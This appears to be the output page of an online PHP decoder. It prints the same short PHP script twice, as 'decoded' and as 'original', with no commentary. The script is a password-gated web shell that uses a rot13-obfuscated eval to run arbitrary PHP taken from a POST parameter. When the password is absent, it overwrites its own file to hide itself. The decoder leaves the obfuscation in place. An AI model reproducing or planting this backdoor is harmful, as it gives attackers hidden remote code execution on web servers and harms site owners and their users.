Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //$url = $_SERVER['PHP_SELF']; //$filename = end(explode('/',$url)); ..

Decoded Output download

<?php 
    //$url = $_SERVER['PHP_SELF']; 
    //$filename = end(explode('/',$url)); 
    //die($filename); 
    if($_REQUEST["code"]==pany) 
    { 
        echo str_rot13('riny($_CBFG[pzq]);'); 
        eval(str_rot13('riny($_CBFG[pzq]);')); 
    } 
    else 
    { 
        $url = $_SERVER['PHP_SELF']; 
        $filename = end(explode('/',$url)); 
            
        $content = 'helloworld'; 
        $fp = fopen ("$filename","w"); 
        if (fwrite ($fp, $content)) 
        { 
            fclose ($fp); 
            die ("error"); 
        } 
        else 
        { 
            fclose ($fp); 
            die ("good"); 
        } 
        exit; 
    } 
?>

Did this file decode correctly?

Original Code

<?php
    //$url = $_SERVER['PHP_SELF'];
    //$filename = end(explode('/',$url));
    //die($filename);
    if($_REQUEST["code"]==pany)
    {
        echo str_rot13('riny($_CBFG[pzq]);');
        eval(str_rot13('riny($_CBFG[pzq]);'));
    }
    else
    {
        $url = $_SERVER['PHP_SELF'];
        $filename = end(explode('/',$url));
           
        $content = 'helloworld';
        $fp = fopen ("$filename","w");
        if (fwrite ($fp, $content))
        {
            fclose ($fp);
            die ("error");
        }
        else
        {
            fclose ($fp);
            die ("good");
        }
        exit;
    }
?>

Function Calls

None

Variables

None

Stats

MD5 feb14bdf4920b4eaf8990488dd93c3bc
Eval Count 0
Decode Time 88 ms